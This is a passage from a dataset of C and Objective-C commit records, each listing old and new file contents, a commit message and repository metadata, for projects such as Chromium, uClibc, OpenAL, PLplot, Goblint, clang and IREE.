set_value(T v)\n\t{\n\t\tunsigned int tid = Thread::current()->get_id();\n\t\tensure_size(tid);\n\t\tentries[tid].data = v;\n\t}\n\n\t\/**\n\t * Get all entries.\n\t *\/\n\tvector<T> get_all_entries(void)\n\t{\n\t\ttypename vector<struct padded_entry>::iterator iter;\n\t\tvector<T> ret;\n\n\t\tfor (iter = entries.begin(); iter != entries.end(); iter++)\n\t\t\tret.push_back((*iter).data);\n\n\t\treturn ret;\n\t}\n\nprivate:\n\tT init_val;\n\n\t\/* We want to try to get each element of the array on a\n\t * seperate cache line. *\/\n\tstruct padded_entry {\n\t\tT data;\n\t\tchar padding[PADDING];\n\t};\n\n\tvector<struct padded_entry> entries;\n};\n\n#endif\t\/* !_THREAD_SPECIFIC_H_ *\/\n","subject":"Add the thread specific class.","message":"Add the thread specific class.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"b59a3395e6e276e715d9972749ec5c4cefb4157a","old_file":"chrome\/browser\/extensions\/api\/cryptotoken_private\/cryptotoken_private_api.h","new_file":"chrome\/browser\/extensions\/api\/cryptotoken_private\/cryptotoken_private_api.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n#define CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n\n#include <string>\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/extensions\/chrome_extension_function_details.h\"\n#include \"chrome\/common\/extensions\/api\/cryptotoken_private.h\"\n#include \"extensions\/browser\/extension_function.h\"\n\n\/\/ Implementations for chrome.cryptotokenPrivate API functions.\n\nnamespace infobars {\nclass InfoBar;\n}\n\nnamespace extensions {\nnamespace api {\n\nclass CryptotokenPrivateCanOriginAssertAppIdFunction\n    : public UIThreadExtensionFunction {\n  public:\n    CryptotokenPrivateCanOriginAssertAppIdFunction();\n    DECLARE_EXTENSION_FUNCTION(\"cryptotokenPrivate.canOriginAssertAppId\",\n                               CRYPTOTOKENPRIVATE_CANORIGINASSERTAPPID)\n  protected:\n    ~CryptotokenPrivateCanOriginAssertAppIdFunction() override {}\n    ResponseAction Run() override;\n\n  private:\n    ChromeExtensionFunctionDetails chrome_details_;\n};\n\n}  \/\/ namespace api\n}  \/\/ namespace extensions\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n#define CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n\n#include <string>\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/extensions\/chrome_extension_function_details.h\"\n#include \"chrome\/common\/extensions\/api\/cryptotoken_private.h\"\n#include \"extensions\/browser\/extension_function.h\"\n\n\/\/ Implementations for chrome.cryptotokenPrivate API functions.\n\nnamespace extensions {\nnamespace api {\n\nclass CryptotokenPrivateCanOriginAssertAppIdFunction\n    : public UIThreadExtensionFunction {\n  public:\n    CryptotokenPrivateCanOriginAssertAppIdFunction();\n    DECLARE_EXTENSION_FUNCTION(\"cryptotokenPrivate.canOriginAssertAppId\",\n                               CRYPTOTOKENPRIVATE_CANORIGINASSERTAPPID)\n  protected:\n    ~CryptotokenPrivateCanOriginAssertAppIdFunction() override {}\n    ResponseAction Run() override;\n\n  private:\n    ChromeExtensionFunctionDetails chrome_details_;\n};\n\n}  \/\/ namespace api\n}  \/\/ namespace extensions\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_API_CRYPTOTOKEN_PRIVATE_CRYPTOTOKEN_PRIVATE_API_H_\n","subject":"Remove an unneeded forward declaration.","message":"Remove an unneeded forward declaration.\n\nBUG=457769\nR=pkasting@chromium.org,rockot@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/930493002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#316348}\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium,ltilve\/chromium,axinging\/chromium-crosswalk,Chilledheart\/chromium"}
{"commit":"cb3786e6ed05e08592b4697beff83c3879ce13bf","old_file":"libc\/sysdeps\/linux\/common\/getgid.c","new_file":"libc\/sysdeps\/linux\/common\/getgid.c","old_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getgid() for uClibc\n *\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n\n#if defined __NR_getxgid\n# define __NR_getgid __NR_getxgid\n#endif\n_syscall0(gid_t, getgid);\nlibc_hidden_proto(getgid)\nlibc_hidden_def(getgid)\n","new_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getgid() for uClibc\n *\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n\n#if defined __NR_getxgid\n# define __NR_getgid __NR_getxgid\n#endif\nlibc_hidden_proto(getgid)\n_syscall0(gid_t, getgid);\nlibc_hidden_def(getgid)\n","subject":"Make gcc4 happy as well","message":"Make gcc4 happy as well\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"59306802d58df62203ecd17271bacbdc9d268bfd","old_file":"Marshal\/Marshal.h","new_file":"Marshal\/Marshal.h","old_contents":"\/\/\n\/\/  Marshal.h\n\/\/  Marshal\n\/\/\n\/\/  Created by Jason Larsen on 2\/24\/16.\n\/\/  Copyright © 2016 Utah iOS & Mac. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Marshal.\nFOUNDATION_EXPORT double MarshalVersionNumber;\n\n\/\/! Project version string for Marshal.\nFOUNDATION_EXPORT const unsigned char MarshalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Marshal\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  M A R S H A L\n\/\/\n\/\/       ()\n\/\/       \/\\\n\/\/  ()--'  '--()\n\/\/    `.    .'\n\/\/     \/ .. \\\n\/\/    ()'  '()\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Marshal.\nFOUNDATION_EXPORT double MarshalVersionNumber;\n\n\/\/! Project version string for Marshal.\nFOUNDATION_EXPORT const unsigned char MarshalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Marshal\/PublicHeader.h>\n\n\n","subject":"Use Foundation to resolve macros instead of UIKit","message":"Use Foundation to resolve macros instead of UIKit\n","lang":"C","license":"mit","repos":"utahiosmac\/Marshal,utahiosmac\/Marshal"}
{"commit":"2f0befaa35ec8b1baa2fe61438f9705206e694cb","old_file":"MeetingApp\/Meeting\/Protocols\/IMeetingDelegate.h","new_file":"MeetingApp\/Meeting\/Protocols\/IMeetingDelegate.h","old_contents":"\/\/\n\/\/  IMeetingDelegate.h\n\/\/  MeetingApp\n\/\/\n\/\/  Created by Estefania Chavez Guardado on 2\/27\/16.\n\/\/  Copyright © 2016 Estefania Chavez Guardado. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"Meeting.h\"\n\n@protocol IMeetingDelegate <NSObject>\n\n@optional\n\n- (void) update: (MutableMeeting *) newMeeting;\n\n- (void) moveToInactiveMeetings:(int) indexMeeting\n          andInactiveTheMeeting: (NSString *) idMeeting;\n\n- (void) updateDetail: (MutableMeeting *) meeting;\n\n@end","new_contents":"\/\/\n\/\/  IMeetingDelegate.h\n\/\/  MeetingApp\n\/\/\n\/\/  Created by Estefania Chavez Guardado on 2\/27\/16.\n\/\/  Copyright © 2016 Estefania Chavez Guardado. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"Meeting.h\"\n\ntypedef enum  NotificationType {\n    NOTIFICATION_TYPE_EMAIL,\n    NOTIFICATION_TYPE_CALENDAR\n} NotificationType;\n\n@protocol IMeetingDelegate <NSObject>\n\n@optional\n\n- (void) update: (MutableMeeting *) newMeeting;\n\n- (void) moveToInactiveMeetings:(int) indexMeeting\n          andInactiveTheMeeting: (NSString *) idMeeting;\n\n- (void) updateDetail: (MutableMeeting *) meeting;\n\n\/\/ TODO: Send to update the notification\n- (void) updateNotification: (NotificationType) type withCallback:(void (^)(BOOL updated)) callback;\n\n@end","subject":"Define the method updateNotification in meetingbussiness","message":"Define the method updateNotification in meetingbussiness\n","lang":"C","license":"apache-2.0","repos":"iTermin\/app_iOS"}
{"commit":"b9592bddbc014759941b94b76596c1dbf2245ad3","old_file":"common\/alexcpt.h","new_file":"common\/alexcpt.h","old_contents":"#ifndef ALEXCPT_H\n#define ALEXCPT_H\n\n#include <exception>\n#include <string>\n\n#include \"AL\/alc.h\"\n\n\nnamespace al {\n\nclass backend_exception final : public std::exception {\n    std::string mMessage;\n    ALCenum mErrorCode;\n\npublic:\n    backend_exception(ALCenum code, const char *msg, ...);\n\n    const char *what() const noexcept override { return mMessage.c_str(); }\n    ALCenum errorCode() const noexcept { return mErrorCode; }\n};\n\n} \/\/ namespace al\n\n#define START_API_FUNC try\n\n#define END_API_FUNC catch(...) { std::terminate(); }\n\n#endif \/* ALEXCPT_H *\/\n","new_contents":"#ifndef ALEXCPT_H\n#define ALEXCPT_H\n\n#include <exception>\n#include <string>\n\n#include \"AL\/alc.h\"\n\n\n#ifdef __GNUC__\n#define ALEXCPT_FORMAT(x, y, z) __attribute__((format(x, (y), (z))))\n#else\n#define ALEXCPT_FORMAT(x, y, z)\n#endif\n\n\nnamespace al {\n\nclass backend_exception final : public std::exception {\n    std::string mMessage;\n    ALCenum mErrorCode;\n\npublic:\n    backend_exception(ALCenum code, const char *msg, ...) ALEXCPT_FORMAT(printf, 3,4);\n\n    const char *what() const noexcept override { return mMessage.c_str(); }\n    ALCenum errorCode() const noexcept { return mErrorCode; }\n};\n\n} \/\/ namespace al\n\n#define START_API_FUNC try\n\n#define END_API_FUNC catch(...) { std::terminate(); }\n\n#endif \/* ALEXCPT_H *\/\n","subject":"Add the printf format attribute to backend_exception's constructor","message":"Add the printf format attribute to backend_exception's constructor\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"bea288dff2de7385645f1c787565cda9cb6fdb51","old_file":"tests\/regression\/29-svcomp\/11_arithmetic_bot.c","new_file":"tests\/regression\/29-svcomp\/11_arithmetic_bot.c","old_contents":"","new_contents":"\/\/ PARAM: --conf=conf\/svcomp21.json\n\/\/ from: ldv-linux-3.0\/usb_urb-drivers-vhost-vhost_net.ko.cil.out.i\ntypedef unsigned long long u64;\n\nint main( )\n{ u64 a ;\n  unsigned long flag ;\n  unsigned long roksum ;\n  struct thread_info *tmp___7 ;\n  int tmp___8 ;\n  long tmp___9;\n  void *log_base;\n  unsigned long sz;\n  u64 addr;\n  {\n  a = (addr \/ 4096ULL) \/ 8ULL;\n  if (a > (u64 )(0x0fffffffffffffffUL - (unsigned long )log_base)) {\n    return (0);\n  } else {\n    if (a + (u64 )((unsigned long )log_base) > 0x0fffffffffffffffULL) {\n      return (0);\n    } else {\n    }\n  }\n  {\n  tmp___7 = current_thread_info();\n  \/\/ __asm__ (\"add %3,%1 ; sbb %0,%0 ; cmp %1,%4 ; sbb $0,%0\": \"=&r\" (flag), \"=r\" (roksum): \"1\" (log_base + a),\n  \/\/           \"g\" ((long )((((sz + 32768UL) - 1UL) \/ 4096UL) \/ 8UL)), \"rm\" (tmp___7->addr_limit.seg));\n  }\n  if (flag == 0UL) {\n    tmp___8 = 1;\n  } else {\n    tmp___8 = 0;\n  }\n  {\n  tmp___9 = __builtin_expect((long )tmp___8, 1L);\n  }\n  return ((int )tmp___9);\n  }\n}\n","subject":"Add failing test case with max u long long","message":"Add failing test case with max u long long\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6e332e0b23f37fb0bf9c8f8a68acb6bd81bf955e","old_file":"test\/Driver\/arm-xscale.c","new_file":"test\/Driver\/arm-xscale.c","old_contents":"","new_contents":"\/\/ RUN: %clang -target arm-freebsd -mcpu=xscale -### -c %s 2>&1 | FileCheck %s\n\/\/ CHECK-NOT: error: the clang compiler does not support '-mcpu=xscale'\n\/\/ CHECK: \"-cc1\"{{.*}} \"-target-cpu\" \"xscale\"{{.*}}\n","subject":"Add a clang test for r257376 (Ensure -mcpu=xscale works for arm targets).","message":"Add a clang test for r257376 (Ensure -mcpu=xscale works for arm targets).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@257509 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"e0c1a00bbff90dffccc5d5aab9142b076b72a821","old_file":"thingshub\/CDZIssueSyncEngine.h","new_file":"thingshub\/CDZIssueSyncEngine.h","old_contents":"\/\/\n\/\/  CDZIssueSyncEngine.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n#import <ReactiveCocoa\/ReactiveCocoa.h>\n\n@class OCTClient;\n@class CDZThingsHubConfiguration;\n@protocol CDZIssueSyncDelegate;\n\n@interface CDZIssueSyncEngine : NSObject\n\n\/\/\/ Designated initializer\n- (instancetype)initWithDelegate:(id<CDZIssueSyncDelegate>)delegate\n                   configuration:(CDZThingsHubConfiguration *)config\n             authenticatedClient:(OCTClient *)client;\n\n\/\/\/ Returns a signal which will either complete or error after the sync operation.\n- (RACSignal *)sync;\n\n@end\n","new_contents":"\/\/\n\/\/  CDZIssueSyncEngine.h\n\/\/  thingshub\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n#import <ReactiveCocoa\/ReactiveCocoa.h>\n\n@class OCTClient;\n@class CDZThingsHubConfiguration;\n@protocol CDZIssueSyncDelegate;\n\n@interface CDZIssueSyncEngine : NSObject\n\n\/\/\/ Designated initializer\n- (instancetype)initWithDelegate:(id<CDZIssueSyncDelegate>)delegate\n                   configuration:(CDZThingsHubConfiguration *)config\n             authenticatedClient:(OCTClient *)client;\n\n\/\/\/ Returns a signal which will asynchronously return strings as status updates,\n\/\/\/ and either complete or error after the sync operation.\n- (RACSignal *)sync;\n\n@end\n","subject":"Update sync method docs in IssueSyncEngine","message":"Update sync method docs in IssueSyncEngine","lang":"C","license":"mit","repos":"cdzombak\/thingshub,cdzombak\/thingshub,cdzombak\/thingshub"}
{"commit":"3393cde61f40f1629a04688460a4d2dd5c76fff3","old_file":"bindings\/f95\/plflt.c","new_file":"bindings\/f95\/plflt.c","old_contents":"\/* Auxiliary program: write the include file for determining\n   PLplot's floating-point type\n*\/\n\n#include <stdio>\n#include <stdlib>\n#include \"plConfig.h\"\n\nmain(int argc, char *argv[] )\n{\n   FILE *outfile ;\n   char *kind ;\n\n   outfile = fopen( \"plflt.inc\", \"w\" ) ;\n#ifdef PL_DOUBLE\n   kind = \"1.0d0\"\n#else\n   kind = \"1.0\"\n#endif\n\n   fprintf{ outfile, \"\\\n! NOTE: Generated code\\n\\\n!\\n\\\n! Type of floating-point numbers in PLplot\\n\\\n!\\n\\\n      integer, parameter :: plf   = kind(%s)\\n\\\n      integer, parameter :: plflt = plf\\n\", kind ) ;\n  fclose( outfile ) ;\n}\n","new_contents":"\/* Auxiliary program: write the include file for determining\n   PLplot's floating-point type\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"plConfig.h\"\n\nmain(int argc, char *argv[] )\n{\n   FILE *outfile;\n   char *kind;\n\n   outfile = fopen( \"plflt.inc\", \"w\" ) ;\n#ifdef PL_DOUBLE\n   kind = \"1.0d0\";\n#else\n   kind = \"1.0\";\n#endif\n\n   fprintf( outfile, \"C     NOTE: Generated code\\n\");\n   fprintf( outfile, \"C\\n\");\n   fprintf( outfile, \"C     Type of floating-point numbers in PLplot\\n\");\n   fprintf( outfile, \"C\\n\");\n   fprintf( outfile, \"      integer, parameter :: plf   = kind(%s)\\n\", kind);\n   fprintf( outfile, \"      integer, parameter :: plflt = plf\\n\");\n   fclose( outfile);\n}\n","subject":"Fix large number of syntax errors (at least for gcc).","message":"Fix large number of syntax errors (at least for gcc).\n\nsvn path=\/trunk\/; revision=6508\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
{"commit":"a2dce448551cd5c010f07341e080729188999a9a","old_file":"include\/libport\/unistd.h","new_file":"include\/libport\/unistd.h","old_contents":"#ifndef LIBPORT_UNISTD_H\n# define LIBPORT_UNISTD_H\n\n# include \"detect_win32.h\"\n\n# include \"libport\/config.h\"\n\n\/\/ This is traditional Unix file.\n# ifdef LIBPORT_HAVE_UNISTD_H\n#  include \"unistd.h\"\n# endif\n\n\/\/ This seems to be its WIN32 equivalent.\n\/\/ http:\/\/msdn2.microsoft.com\/en-us\/library\/ms811896(d=printer).aspx#ucmgch09_topic7.\n# if defined WIN32 || defined LIBPORT_WIN32\n#  include \"io.h\"\n# endif\n\n#if defined LIBPORT_HAVE__GETCWD\n# define getcwd _getcwd\n#elif !defined LIBPORT_HAVE_GETCWD\n# error I need either getcwd() or _getcwd()\n#endif\n\n#endif \/\/ !LIBPORT_UNISTD_H\n","new_contents":"#ifndef LIBPORT_UNISTD_H\n# define LIBPORT_UNISTD_H\n\n# include \"detect_win32.h\"\n\n# include \"libport\/config.h\"\n\n\/\/ This is traditional Unix file.\n# ifdef LIBPORT_HAVE_UNISTD_H\n#  include \"unistd.h\"\n# endif\n\n\/\/ This seems to be its WIN32 equivalent.\n\/\/ http:\/\/msdn2.microsoft.com\/en-us\/library\/ms811896(d=printer).aspx#ucmgch09_topic7.\n# if defined WIN32 || defined LIBPORT_WIN32\n#  include \"io.h\"\n# endif\n\n#if defined LIBPORT_URBI_ENV_AIBO\nstatic char *getcwd(char *buf, size_t size)\n{\n  if (buf == 0 || size <= 3)\n    return 0;\n  strncpy (buf, \"\/MS\", size);\n  return buf;\n}\n#else\n# if defined LIBPORT_HAVE__GETCWD\n#  define getcwd _getcwd\n# elif !defined LIBPORT_HAVE_GETCWD\n#  error I need either getcwd() or _getcwd()\n# endif\n#endif\n\n#endif \/\/ !LIBPORT_UNISTD_H\n","subject":"Add dummy static version of getcwd for Aibo.","message":"Add dummy static version of getcwd for Aibo.\n\n\t* include\/libport\/unistd.h: Here.","lang":"C","license":"bsd-3-clause","repos":"aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport"}
{"commit":"9834e5a66c91f1681d70369550e55d96b2d961d9","old_file":"Classes\/Categories\/Categories.h","new_file":"Classes\/Categories\/Categories.h","old_contents":"#import \"NSManagedObject+ActiveRecord.h\"\n#import \"NSString+StringBetweenStrings.h\"\n#import <Artsy+UIColors\/UIColor+ArtsyColors.h>\n#import \"UIColor+FolioColours.h\"\n#import <Artsy+UIFonts\/UIFont+ArtsyFonts.h>\n#import \"NSObject+Notifications.h\"\n#import <UIView+BooleanAnimations\/UIView+BooleanAnimations.h>\n#import \"UIButton+FolioButtons.h\"\n#import \"UIColor+DebugColours.h\"\n#import \"NSString+StringSize.h\"\n#import \"UIBarButtonItem+toolbarHelpers.h\"\n#import \"UIImageView+ArtsySetURL.h\"\n","new_contents":"#import \"NSManagedObject+ActiveRecord.h\"\n#import \"NSString+StringBetweenStrings.h\"\n#import <Artsy+UIColors\/UIColor+ArtsyColors.h>\n#import \"UIColor+FolioColours.h\"\n\n#if __has_include(<Artsy+UIFonts\/UIFont+ArtsyFonts.h>)\n#import <Artsy+UIFonts\/UIFont+ArtsyFonts.h>\n#endif\n\n#if __has_include(<Artsy+OSSUIFonts\/UIFont+OSSArtsyFonts.h>)\n#import <Artsy+OSSUIFonts\/UIFont+OSSArtsyFonts.h>\n#endif\n\n#import \"NSObject+Notifications.h\"\n#import <UIView+BooleanAnimations\/UIView+BooleanAnimations.h>\n#import \"UIButton+FolioButtons.h\"\n#import \"UIColor+DebugColours.h\"\n#import \"NSString+StringSize.h\"\n#import \"UIBarButtonItem+toolbarHelpers.h\"\n#import \"UIImageView+ArtsySetURL.h\"\n","subject":"Support running from the OSS fonts","message":"Support running from the OSS fonts\n","lang":"C","license":"mit","repos":"tomdev2008\/energy,tomdev2008\/energy,artsy\/energy,gaurav1981\/energy,gaurav1981\/energy,gaurav1981\/energy,artsy\/energy,tomdev2008\/energy,tomdev2008\/energy,gaurav1981\/energy,gaurav1981\/energy,tomdev2008\/energy,artsy\/energy,artsy\/energy,artsy\/energy,tomdev2008\/energy"}
{"commit":"48600172e57f4f4e9dd06f6a4704032e3d6bc53e","old_file":"file4.c","new_file":"file4.c","old_contents":"file4.c - r1\nTest checkin in master1-updated - updated_by_master\nTest checkin in master2\nTest checkin in master3\nTest checkin in master4\n\n\n","new_contents":"Test checkin in master1-updated - updated_by_master\nTest checkin in master1-updated - updated2\nTest checkin in master2\nTest checkin in master3\nTest checkin in master4\n","subject":"Test commit merges feature to master","message":"Test commit merges feature to master\n","lang":"C","license":"apache-2.0","repos":"shahedmolla\/test"}
{"commit":"36ebfc68edd9b7052ffd14cca2a4775f9c450f18","old_file":"llvm-external-projects\/iree-dialects\/include\/iree-dialects\/Transforms\/ListenerGreedyPatternRewriteDriver.h","new_file":"llvm-external-projects\/iree-dialects\/include\/iree-dialects\/Transforms\/ListenerGreedyPatternRewriteDriver.h","old_contents":"\/\/ Copyright 2021 The IREE Authors\n\/\/\n\/\/ Licensed under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n#include \"iree-dialects\/Transforms\/Listener.h\"\n#include \"mlir\/IR\/PatternMatch.h\"\n#include \"mlir\/Rewrite\/FrozenRewritePatternSet.h\"\n\nnamespace mlir {\nstruct GreedyRewriteConfig;\n\n\/\/\/ Applies the specified patterns on `op` alone while also trying to fold it,\n\/\/\/ by selecting the highest benefits patterns in a greedy manner. Returns\n\/\/\/ success if no more patterns can be matched. `erased` is set to true if `op`\n\/\/\/ was folded away or erased as a result of becoming dead. Note: This does not\n\/\/\/ apply any patterns recursively to the regions of `op`. Accepts a listener\n\/\/\/ so the caller can be notified of rewrite events.\nLogicalResult applyPatternsAndFoldGreedily(\n    MutableArrayRef<Region> regions, const FrozenRewritePatternSet &patterns,\n    const GreedyRewriteConfig &config, RewriteListener *listener);\ninline LogicalResult applyPatternsAndFoldGreedily(\n    Operation *op, const FrozenRewritePatternSet &patterns,\n    const GreedyRewriteConfig &config, RewriteListener *listener) {\n  return applyPatternsAndFoldGreedily(op->getRegions(), patterns, config,\n                                      listener);\n}\n\n} \/\/ namespace mlir\n","new_contents":"\/\/ Copyright 2021 The IREE Authors\n\/\/\n\/\/ Licensed under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n#include \"iree-dialects\/Transforms\/Listener.h\"\n#include \"mlir\/IR\/PatternMatch.h\"\n#include \"mlir\/Rewrite\/FrozenRewritePatternSet.h\"\n#include \"mlir\/Transforms\/GreedyPatternRewriteDriver.h\"\n\nnamespace mlir {\nstruct GreedyRewriteConfig;\n\n\/\/\/ Applies the specified patterns on `op` alone while also trying to fold it,\n\/\/\/ by selecting the highest benefits patterns in a greedy manner. Returns\n\/\/\/ success if no more patterns can be matched. `erased` is set to true if `op`\n\/\/\/ was folded away or erased as a result of becoming dead. Note: This does not\n\/\/\/ apply any patterns recursively to the regions of `op`. Accepts a listener\n\/\/\/ so the caller can be notified of rewrite events.\nLogicalResult applyPatternsAndFoldGreedily(\n    MutableArrayRef<Region> regions, const FrozenRewritePatternSet &patterns,\n    const GreedyRewriteConfig &config, RewriteListener *listener);\ninline LogicalResult applyPatternsAndFoldGreedily(\n    Operation *op, const FrozenRewritePatternSet &patterns,\n    const GreedyRewriteConfig &config, RewriteListener *listener) {\n  return applyPatternsAndFoldGreedily(op->getRegions(), patterns, config,\n                                      listener);\n}\n\n} \/\/ namespace mlir\n","subject":"Add include for GreedyPatternRewriteDriver implementation.","message":"Add include for GreedyPatternRewriteDriver implementation.\n\nNot sure if this is correct. There was an unresolved symbol error on MSVC that this fixes though.\n","lang":"C","license":"apache-2.0","repos":"iree-org\/iree,iree-org\/iree,google\/iree,iree-org\/iree,google\/iree,google\/iree,iree-org\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,google\/iree,google\/iree,iree-org\/iree"}
